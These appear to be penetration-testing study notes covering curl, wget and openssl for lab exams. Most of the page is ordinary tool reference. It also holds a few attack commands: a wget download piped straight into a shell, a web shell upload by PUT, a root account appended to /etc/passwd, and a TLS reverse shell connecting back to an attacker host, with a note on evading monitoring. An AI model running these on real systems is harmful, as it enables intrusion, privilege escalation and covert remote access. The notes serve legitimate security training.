Requests and Transfer
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
On this page
curl sends any HTTP request and shows the raw response. Use it to test logins, headers, uploads, and vhosts.
wget downloads files and mirrors whole sites or FTP shares.
openssl reads TLS certificates, speaks STARTTLS, makes password hashes, and decodes base64.
On a box, curl or wget pulls your tools from a Python HTTP server (Linux Transfers).
curl
Requests and responses
Request a page:
curl http://$TARGET/ # fetch the pageShow the response headers above the body:
curl -i http://$TARGET/ # headers and bodySend a HEAD request and show the headers only:
curl -I http://$TARGET/ # headers onlyHide the progress meter when you pipe the output:
curl -s http://$TARGET/ | grep -i 'href' # links in the page, no progress meterShow the full request, the response headers, and the TLS handshake:
curl -v https://$TARGET/ # request, response headers, and TLS handshakeLines that start with
>are what curl sent. Lines that start with<are what the server returned.
Methods and bodies
POST a login form:
curl -d 'username=admin&password=admin' http://$TARGET/login.php # form login-d sets the method to POST and the Content-Type to application/x-www-form-urlencoded.
URL-encode a value that contains spaces or &:
curl --data-urlencode 'q=a b&c' http://$TARGET/search.php # send an encoded valuePOST JSON to an API:
# JSON logincurl -H 'Content-Type: application/json' -d '{"username":"admin","password":"admin"}' http://$TARGET/api/loginUse another method:
curl -X PUT -d 'role=admin' http://$TARGET/api/users/2 # PUT a fieldcurl -X DELETE http://$TARGET/api/users/2 # delete a resourcecurl -i -X OPTIONS http://$TARGET/ # list the allowed methodsThe Allow header in the OPTIONS response lists the methods the server accepts.
Headers, cookies, and auth
Add a header:
curl -H 'X-Forwarded-For: 127.0.0.1' http://$TARGET/admin/ # add a headerSend a cookie you already have:
curl -b 'PHPSESSID=abc123' http://$TARGET/dashboard.php # send a session cookieLog in, save the session cookie to a file, and reuse it:
curl -c cookies.txt -d 'username=admin&password=admin' http://$TARGET/login.php # log in and save the cookiescurl -b cookies.txt http://$TARGET/dashboard.php # reuse the saved cookiesChange the user agent:
curl -A 'Mozilla/5.0' http://$TARGET/ # set the user agentLog in with HTTP basic auth:
curl -u admin:admin http://$TARGET/admin/ # basic authRedirects, TLS, and output
Follow redirects:
curl -L http://$TARGET/ # follow redirectsAccept a self-signed or expired certificate:
curl -k https://$TARGET/ # skip certificate checksSave the body to a file:
curl -o page.html http://$TARGET/ # save the body as page.htmlSave the file under its remote name:
curl -O http://$TARGET/backup.zip # save as backup.zipPrint only the status code:
curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/admin/ # status code onlySend the request through Burp:
curl -x http://127.0.0.1:8080 -k https://$TARGET/ # proxy through Burp-k is necessary for HTTPS because Burp signs the traffic with its own CA.
Uploads
Upload a file through a form field:
The name before = must match the name of the file input in the HTML form.
Set the part’s content type for an upload filter that checks it:
curl -F '[email protected];type=image/png' http://$TARGET/upload.php # upload with a set content typePUT a file on a server that accepts PUT, such as WebDAV:
curl -T shell.php http://$TARGET/uploads/ # PUT the fileWhen the URL ends in /, curl adds the local file name: the request is PUT /uploads/shell.php.
Virtual hosts
Send a vhost name to the target IP without editing /etc/hosts:
curl --resolve dev.target.htb:80:$TARGET http://dev.target.htb/ # map the name to the IPcurl -H 'Host: dev.target.htb' http://$TARGET/ # set the Host headerFor HTTPS, use --resolve. It also sends the name in SNI. -H 'Host: ...' changes the HTTP header only.
| Flag | Meaning |
|---|---|
-i |
Shows the response headers with the body |
-I |
Sends a HEAD request and shows the headers only |
-s |
Silent: no progress meter or error messages |
-v |
Verbose: shows the request, the response headers, and the TLS handshake |
-X |
Request method |
-d |
POST body, form-encoded |
--data-urlencode |
POST body, URL-encodes the value |
-H |
Adds a request header |
-b |
Sends cookies, from a string or a file |
-c |
Writes received cookies to a file |
-A |
User agent |
-u |
user:password for server auth |
-L |
Follows redirects |
-k |
Skips certificate checks |
-o |
Writes the body to a file |
-O |
Writes the body to a file with the remote name |
-w |
Prints the given format after the transfer, such as %{http_code} |
-x |
Proxy |
-F |
Multipart form field. @ reads a file |
-T |
Uploads a file, with PUT over HTTP |
--resolve |
Maps host:port to an IP address for this request |
wget
Downloads
Download a file:
wget http://10.10.14.20:8000/linpeas.sh # download a fileSave it under another name or path:
wget -O /dev/shm/lp.sh http://10.10.14.20:8000/linpeas.sh # save as /dev/shm/lp.shDownload without output:
wget -q http://10.10.14.20:8000/linpeas.sh # download quietlyResume a partial download:
wget -c http://$TARGET/backup.tar.gz # resume a downloadDownload every URL in a list:
wget -i urls.txt # download every URL in the listAccept a self-signed certificate:
wget --no-check-certificate https://$TARGET/backup.zip # skip certificate checksMirrors
Mirror a web folder and stay below it:
wget -m -np http://$TARGET/backup/ # mirror, stay below the folderDownload a folder recursively into the current directory, without the host and first path folder:
wget -r -np -nH --cut-dirs=1 http://$TARGET/files/ # recursive, short local pathsMirror an FTP share with anonymous login:
wget -m ftp://anonymous:anonymous@$TARGET # mirror with anonymous loginMirror an FTP share with credentials, in active mode:
wget -m --no-passive-ftp --ftp-user=ftpuser --ftp-password='Passw0rd!' ftp://$TARGET # mirror with credentials, active modeUse --no-passive-ftp when passive transfers hang. FTP covers the service.
Auth
Log in to a site or FTP server:
wget --user=admin --password=admin http://$TARGET/admin/config.php # log in with credentialsPrompt for the password, which keeps it out of the shell history:
wget --user=admin --ask-password http://$TARGET/admin/config.php # prompt for the passwordPipe to a shell
Run a script from your server without a copy on disk:
wget -qO- http://10.10.14.20:8000/linpeas.sh | sh # run the script without saving itThe shell runs whatever the server returns. Use this only with a server you control.
| Flag | Meaning |
|---|---|
-O |
Output file. -O- writes to stdout |
-q |
Quiet: no output |
-c |
Continues a partial download |
-i |
Reads URLs from a file |
-r |
Recursive download, 5 levels deep by default |
-m |
Mirror: recursive with no depth limit, and keeps timestamps |
-np |
Never goes up to the parent folder |
-nH |
No folder named after the host |
--cut-dirs |
Drops this number of path folders from the saved path |
--no-check-certificate |
Skips certificate checks |
--user, --password |
Credentials for HTTP and FTP |
--ftp-user, --ftp-password |
Credentials for FTP only |
--ask-password |
Prompts for the password |
--no-passive-ftp |
Uses active FTP mode |
openssl
Read a server certificate
Connect and print the certificate:
openssl s_client -connect $TARGET:443 # print the certificateSend a hostname in SNI when you connect by IP:
openssl s_client -connect $TARGET:443 -servername dev.target.htb # send a name in SNIPrint every certificate in the chain:
openssl s_client -connect $TARGET:443 -showcerts # print the whole chainUpgrade a plain-text service with STARTTLS:
openssl s_client -connect $TARGET:25 -starttls smtp # SMTPopenssl s_client -connect $TARGET:143 -starttls imap # IMAPopenssl s_client -connect $TARGET:110 -starttls pop3 # POP3openssl s_client -connect $TARGET:21 -starttls ftp # FTPAfter the handshake you type protocol commands in the session. SMTP and Mail Retrieval list them.
Pull the hostnames out of a live certificate:
# subject and SAN names from a live certificateopenssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -subject -ext subjectAltNameThe CN and the SAN entries often name vhosts and the internal domain. Add them to
/etc/hosts.
Read a certificate file
Print a certificate in full:
openssl x509 -in cert.pem -text -noout # print the certificate in fullPrint the subject and the alternative names only:
openssl x509 -in cert.pem -noout -subject -ext subjectAltName # subject and alternative namesPassword hashes
Make an MD5-crypt hash:
openssl passwd -1 Password123 # MD5-crypt hashMake a SHA-512-crypt hash with a fixed salt:
openssl passwd -6 -salt xyz Password123 # SHA-512-crypt hash, fixed saltAdd a root user when /etc/passwd is writable:
# add root user hacker, password Password123echo "hacker:$(openssl passwd -6 -salt xyz Password123):0:0:root:/root:/bin/bash" >> /etc/passwdsu hacker # log in as the new userPrivesc Primer covers how to find a writable /etc/passwd.
Encoding and hashes
Decode base64:
echo 'aGVsbG8K' | openssl base64 -d # decode base64Decode a long base64 string on one line:
openssl base64 -d -A -in blob.b64 -out blob.bin # decode a one-line blob to a fileWithout -A, a single line longer than about 1,000 characters decodes to nothing, with no error.
Encode a file as one line of base64:
openssl base64 -A -in files.zip # encode as one lineHash a file:
openssl dgst -sha256 files.zip # SHA-256 hashCompare the hash on both ends after a transfer.
Self-signed certificate
Make a key and a certificate in one command:
# key and self-signed certificateopenssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'Encrypted reverse shell
Listen on your attack host with the certificate from the previous step:
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 # TLS listener on port 4444Connect back from the target:
# reverse shell over TLSmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.20:4444 > /tmp/s; rm /tmp/sThe traffic is TLS. A network monitor sees no plain-text commands.
| Flag | Meaning |
|---|---|
s_client -connect |
host:port to connect to |
-servername |
Hostname to send in SNI |
-showcerts |
Prints every certificate the server sends |
-starttls |
Sends the protocol’s STARTTLS command first: smtp, imap, pop3, ftp, and others |
-quiet |
No session or certificate output |
x509 -in |
Certificate file to read |
-text |
Prints the certificate in full |
-noout |
Does not print the encoded certificate |
-subject |
Prints the subject |
-ext subjectAltName |
Prints the alternative names |
passwd -1 |
MD5-crypt hash ($1$) |
passwd -6 |
SHA-512-crypt hash ($6$) |
-salt |
Salt for the hash |
base64 -d |
Decodes |
-A |
Base64 on one line, for input and output |
dgst -sha256 |
SHA-256 hash |
req -x509 |
Makes a self-signed certificate |
-newkey rsa:2048 |
Makes a new 2048-bit RSA key |
-nodes |
Does not encrypt the key. OpenSSL 3 also accepts -noenc |
-keyout, -out |
Key file and certificate file |
-days |
Days the certificate is valid |
-subj |
Subject, such as /CN=localhost |
s_server -key, -cert |
Key and certificate for the listener |
-port |
Port to listen on |
File transfer
File transfer has its own section. Start with Choosing a Method. The Linux commands are in Linux Transfers.